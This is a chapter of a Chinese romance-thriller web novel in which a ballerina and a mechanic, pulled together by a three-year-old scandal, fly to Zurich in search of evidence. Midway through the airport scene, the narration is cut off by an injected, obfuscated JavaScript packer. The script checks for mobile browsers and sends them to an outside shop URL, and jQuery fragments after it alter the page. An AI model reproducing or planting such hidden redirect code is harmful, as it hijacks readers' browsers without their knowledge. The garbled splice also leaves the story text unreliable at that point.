第六章行李箱里的旧怀表


    出发前夜，苏晚晚在舞蹈房待到凌晨。


    不是练舞，而是收拾东西。她把那些闪亮的演出服、水晶头冠、缎面舞鞋一件件装箱，贴上标签“暂存”。最后留下的是磨损最严重的那双软底鞋——鞋头已经磨出毛边，缎带也因为反复系紧而失去弹性。


    她将这双鞋放进随身行李箱的夹层。


    手机在午夜十二点准时震动，是父亲苏柏年的来电。屏幕上跳动的名字像某种警告。


    “爸。”她接起来，声音平静。


    “你在哪儿？”苏柏年的声音有些疲倦，背景有纸张翻动的沙沙声，“陈律师说你最近没去公司。”


    “在剧院，准备下个月的巡演。”


    “巡演？”苏柏年停顿，“我记得你下个月没有演出安排。”


    苏晚晚的手指收紧。父亲对她的行程了如指掌，这不是第一次。


    “新排的现代舞，还没对外公布。”她撒了个谎，语气尽量自然，“和德国舞团合作的实验性作品。”


    电话那头沉默了几秒。


    “晚晚，”苏柏年声音放软，“徐总工昨天跟我提了一件事。他说在城南看到一个很像你的人，在……修车铺附近。”


    来了。


    苏晚晚深吸一口气：“所以呢？”


    “那地方不太安全。而且我听说，那个车铺的老板——”苏柏年似乎在斟酌用词，“名声不太好。三年前的事，你应该听说过。”


    “听过一些。”


    “那就离远点。”苏柏年的语气变得严厉，“你是苏家的女儿，是国家大剧院的首席，不该和那种人有交集。”


    苏晚晚走到窗边，看着外面沉睡的城市。远处，“幻影车库”的方向还亮着一盏孤灯。


    “爸，”她轻声问，“三年前那件事，你真的相信媒体报道的全部吗？”


    这个问题来得突然。


    苏柏年沉默了更长时间。


    “真相不重要。”他终于说，“重要的是，那件事已经定性了。翻案对谁都没有好处，尤其是你。陆文渊那边最近在打听你的情况，如果你和那种污点人物走太近，会影响联姻的——”


    “我不会和陆文渊结婚。”苏晚晚打断他，“从来没有这个可能。”


    “晚晚！”


    “爸，我累了。”她闭上眼睛，“明天还要排练，先挂了。”


    没等父亲回应，她按掉了电话。


    手机屏幕暗下去，映出她苍白的脸。


    这是她第一次明确反抗父亲的安排。掌心在出汗，心脏跳得很快，但奇怪的是，左肩的旧伤没有发作——就像那晚在赛道时一样。


    某种坚硬的东西正在她体内生长。


    同一时间，江砚辞在修车铺的地下室。


    这里比上面更杂乱，堆满了淘汰的赛车零件、废旧轮胎，以及一些用防水布盖着的箱子。最深处有一个老式保险柜，密码是他母亲的生日。


    他转动旋钮，柜门咔哒一声弹开。


    里面没有贵重物品，只有几本相册、一沓信件，以及一个深蓝色丝绒盒子。


    打开盒子，里面是一枚女士腕表——宝玑的那不勒斯王后系列，表盘是珍珠母贝材质，时针和分针已经停走，停在三点四十七分。


    这是母亲三十岁生日时父亲送的礼物。父亲去世后，她再也没戴过，但每个月都会给表上弦，直到她自己也病得起不了床。


    江砚辞拿起腕表，表壳背面刻着一行花体字：“给美玲，时间会证明一切。——永远爱你的江”


    他从未理解这句话的含义。


    但现在，手指抚过冰凉的金属，他突然想起母亲临终前说的话。


    那时她已经很虚弱，握着他的手，眼神涣散，却异常清晰地说了句没头没尾的话：“小辞……如果哪天你遇到一个能让你重新相信时间的人……就把表给她。”


    当时他以为她在说胡话。


    此刻，腕表在昏暗灯光下泛着温润的光泽。


    江砚辞把表放进随身口袋。


    上楼时，卷帘门被轻轻敲响。不是苏晚晚的节奏。


    他拉开一条缝。


    门外站着唐果——苏晚晚的闺蜜，考古网红。她今晚没直播，素面朝天，穿着印有恐龙图案的卫衣，手里拎着一个沉甸甸的登山包。


    “江砚辞？”她压低声音，“晚晚让我来送东西。”


    “她人呢？”


    “在应付她爸。”唐果挤进门，把登山包放在地上，“她说你们明天要出远门，让我把这个交给你——是她从瑞士订的专业设备，说你可能用得上。”


    江砚辞拉开登山包拉链。


    里面不是考古工具，而是一套精密的信号探测器和反监听设备，还有一台军用级别的加密卫星电话。


    “她怎么弄到这些的？”他皱眉。


    “她有个朋友在国安系统工作。”唐果眨眨眼，“具体别问我，我也不知道。晚晚的社交圈……挺神奇的。”


    她环顾车库，目光落在角落那台7号原型车上，眼睛瞬间亮了。


    “我靠！这是不是那年《AutoSport》杂志封面那台？传说中纽北圈速能进六分五十秒的概念车？”


    “你知道的不少。”


    “我前男友是赛车工程师。”唐果走到车边，但很规矩地没有碰，“他房间里贴满了这车的海报。分手时我差点偷一张走。”


    江砚辞检查设备，发现每件都贴着便签，上面是苏晚晚的字迹，详细写着使用方法和注意事项。


    “她让你带句话。”唐果突然说。


    “什么？”


    “她说：‘瑞士那边可能有人盯着，落地后别立刻去银行。先在城里绕几圈，确认安全。’”唐果顿了顿，“还有一句……‘如果情况不对，优先保护自己。证据可以再找，人不能出事。’”


    江砚辞的手停在便签上。


    那些工整的字迹，透着一股不容置疑的关切。


    “她总这样吗？”他问，“对朋友的事这么……”


    “拼？”唐果接话，“不，她其实挺冷的。对大部分人都保持距离，礼貌但疏离。”她看向江砚辞，眼神变得探究，“但你不一样。她为了你的事，这周跑了七个部门，动用了所有能用的关系——有些连她父亲都不知道她有。”


    “为什么？”江砚辞问出同样的问题。


    唐果耸耸肩：“我问过她。她说：‘有些人你看到他第一眼，就知道他骨子里是什么成色。江砚辞的成色，比那些镀金的人干净。’”


    她走到门口，又回头。


    “哦对了，还有件事。”她从口袋里掏出一个小布袋，“这个是我个人送你们的。”


    江砚辞接过，打开，里面是一枚生锈的齿轮，中间镶嵌着一小片青花瓷碎片。


    “元代瓷片，我在景德镇废墟挖到的。”唐果解释，“齿轮是民国纺织机的零件。晚晚说你们俩，一个像老机械，一个像古瓷器——看着不搭，但放在一起，有种奇怪的和谐。”


    她挥挥手，消失在夜色里。


    江砚辞握着那枚齿轮瓷片，边缘粗糙，但触感温润。


    他把它和母亲的腕表放在了一起。


    凌晨三点，江砚辞收到一条加密信息。


    来自陌生号码，内容只有一串坐标数字和一句话：“明日苏黎世班霍夫大街18号咖啡馆，靠窗第二桌。J。”


    他回复：“如何确认身份？”


    对方秒回：“我会戴着和你母亲一样的腕表。”


    江砚辞的手指收紧。


    母亲的那不勒斯王后腕表，除了家人，很少有人见过。


    这个J，到底是谁？


    清晨六点，苏晚晚拖着行李箱出现在车库门口。


    她穿了最简单的白T恤和牛仔裤，长发扎成低马尾，素颜，看起来像个普通的大学生。


    江砚辞也已经收拾好。一个黑色旅行包，不大，但看起来很沉。


    “设备收到了？”苏晚晚上车，系好安全带。


    “嗯。”江砚辞发动车子，“谢谢。”


    “不客气。”她看向窗外渐渐苏醒的街道，“唐果没说什么奇怪的话吧？”


    “她送了个礼物。”江砚辞从口袋里掏出齿轮瓷片。


    苏晚晚接过来，嘴角扬起：“她还真是……这瓷片是她最宝贝的收藏之一，居然舍得送你。”


    “她说我们俩像这个。”


    苏晚晚仔细端详，指尖抚过瓷片温润的边缘和齿轮锋利的齿牙。


    “还真有点像。”她轻声说，“你像齿轮，坚硬、精确、每个齿都有明确的功能。我像瓷片，看着光洁，其实脆弱，碎了就很难复原。”


    “你不脆弱。”江砚辞说。


    “在舞台上不脆弱。”她收起瓷片，“但生活中……是的，我很脆弱。怕让父亲失望，怕跳不好下一个动作，怕辜负所有对我有期待的人。”


    她顿了顿。


    “所以遇见你，其实挺吓人的。你身上有种‘我不在乎别人怎么想’的决绝。那是我没有的东西。”


    车子驶上机场高速。晨雾未散，远山如黛。


    “我也在乎。”江砚辞看着前方，“只是我在乎的人已经不在了。所以看起来无所畏惧。”


    苏晚晚侧头看他。


    晨光从车窗斜照进来，给他的侧脸镀上柔和的轮廓。


    “现在呢？”她问，“现在有在乎的人了吗？”


    问题很轻，但很重。


    江砚辞的手指在方向盘上收紧。


    “有。”他说。


    一个字，没有更多解释。


    但足够了。


    苏晚晚的胸口泛起一阵暖意，像冬日的早晨喝下第一口热茶。


    机场里，一切顺利得反常。


    值机、托运、安检，没有遇到任何刁难。甚至连苏晚晚那个装着探测设备的登山包，安检人员也只是简单看了一眼就放行。


    “太顺利了。”登机口前，苏晚晚低声说，“不像是徐朗的风格。”


    “也许他想让我们拿到证据。”江砚辞看着窗外停着的飞机，“然后半路截胡。”


    “或者……”苏晚晚沉吟，“证据本身就有问题。他想让我们白跑一趟，消耗时间和精力。”


    广播响起登机通知。


    两人起身，苏晚晚突然拉住江砚辞的衣袖。


    “等一下。”她蹲下，假装系鞋带，实则从行李箱侧袋里取出两个小巧的装置，递给江砚辞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004273|194002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个，“定位器，吞下去。如果走散了，我能找到你。”


    “吞？”


    “外膜是可消化的，二十四小时自动排出。”苏晚晚已经把自己的那颗放进嘴里，喝了口水咽下，“放心，我试过，没副作用。”


    江砚辞看着她，最终还是照做了。


    胶囊滑过喉咙，有点苦。


    “你准备得太周全了。”他说。


    “因为我要你平安回来。”苏晚晚站起来，眼睛很亮，“我还等着你教我赛车呢。正式拜师，要磕头的吧？”


    “现代人不兴这个。”


    “那我请你吃饭。”她笑，“路边摊，不许嫌便宜。”


    “好。”


    两人随着人流登上飞机。


    头等舱空间宽敞，座位可以完全放平。空乘送来香槟，苏晚晚只要了温水。


    飞机滑行、起飞、爬升。城市在脚下渐渐缩小，变成玩具模型。


    当飞机进入平飞，云海在窗外铺展成无垠的白色平原时，苏晚晚突然说：


    “其实我有点怕。”


    江砚辞看向她。


    “怕什么？”


    “怕真相。”她握着自己的温水杯，“如果打开保险箱，发现里面什么都没有，或者发现的东西比我们想象的更黑暗……我怕我们承受不住。”


    “那就一起承受。”江砚辞说，“两个人总比一个人强。”


    苏晚晚转头看他，看了很久。


    然后她伸出手，轻轻握住他的手。


    不是十指相扣，只是手掌覆盖手背，一个简单的、安慰的姿势。


    江砚辞的手很凉，掌心有薄茧。他没有抽回，反而翻转手腕，轻轻回握。


    两人就这样握着手，谁也没有说话。


    窗外，阳光刺破云层，金色的光芒填满机舱。


    十小时后，飞机降落在苏黎世机场。


    时差让黄昏显得格外漫长。取完行李，两人按照计划没有直接去银行，而是坐上了前往市区的列车。


    苏晚晚打开手机上的探测软件——那些设备在托运时已经自动激活。屏幕显示附近有三个活跃的监听信号，其中一个一直跟着他们从机场到火车站。


    “有人尾随。”她低声说，“黑色夹克，戴棒球帽，在第五节车厢。”


    江砚辞没有回头：“几个人？”


    “目前只发现一个。但可能还有同伙。”


    列车驶入隧道，窗外一片漆黑。车厢灯光在玻璃上反射出模糊的倒影。


    江砚辞从倒影里看到了那个人——三十岁左右，欧洲面孔，正在假装看报纸，但视线每隔几秒就会扫向他们这边。


    “在下一站下车。”他说，“换乘。”


    苏黎世中央车站人头攒动。两人拖着行李快速穿梭，利用人群做掩护，连续换了三条地铁线，最后从一个小站出口出来，走进老城区错综复杂的小巷。


    探测软件上的红点终于消失了。


    “甩掉了。”苏晚晚靠在墙上，微微喘息，“但对方知道我们来了，接下来会更小心。”


    暮色四合，路灯渐次亮起。远处传来教堂的钟声，低沉悠长。


    江砚辞看了眼时间：晚上七点二十分。


    “先去酒店。”他说，“明天一早去见J。”


    他们预订的酒店在老城区一栋百年建筑里，房间不大，但很温馨。阳台正对着利马特河，对岸的苏黎世大教堂灯火辉煌。


    放好行李，苏晚晚拉开阳台门，夜风带着河水的湿气扑面而来。


    “真美。”她轻声说。


    江砚辞走到她身边。两人并肩站在栏杆前，看河上的游船缓缓驶过，灯火倒影在水面碎成流动的金色光斑。


    “我母亲应该也看过这个景色。”江砚辞说，“三年前，她一个人来这里的时候。”


    “她一定很爱你。”苏晚晚说，“爱到愿意独自面对这一切。”


    江砚辞从口袋里拿出母亲的腕表，表盘在夜色里泛着温润的光。


    “这个，”他说，“我母亲临终前说，如果遇到能让我重新相信时间的人，就把表给她。”


    苏晚晚的心跳漏了一拍。


    “那你……”


    “我想她说的没错。”江砚辞转头看她，眼神在夜色里深邃如河，“遇见你之后，我的时间确实开始重新流动了。”


    他把腕表递过来。


    “苏晚晚，这表停了三年。如果你愿意，我希望它重新开始走。”


    河风吹起苏晚晚的发丝。


    她看着那枚腕表，看着江砚辞的眼睛，看着远处教堂尖顶指向的星空。


    然后她伸出手，接过腕表。


    表壳触感冰凉，但很快就被她的体温温暖。


    “我该上弦吗？”她问，声音很轻。


    “明天。”江砚辞说，“等拿到真相之后。让新的时间和新的真相一起开始。”


    苏晚晚握紧腕表，金属边缘硌着掌心，却带来奇异的安心感。


    “好。”她说，“明天。”


    夜色渐深，但对岸的灯火永不熄灭。


    就像某些等待了三年的真相，终于要浮出水面。


    而某些刚刚萌芽的情感，也在异国的夜色里，找到了生长的土壤。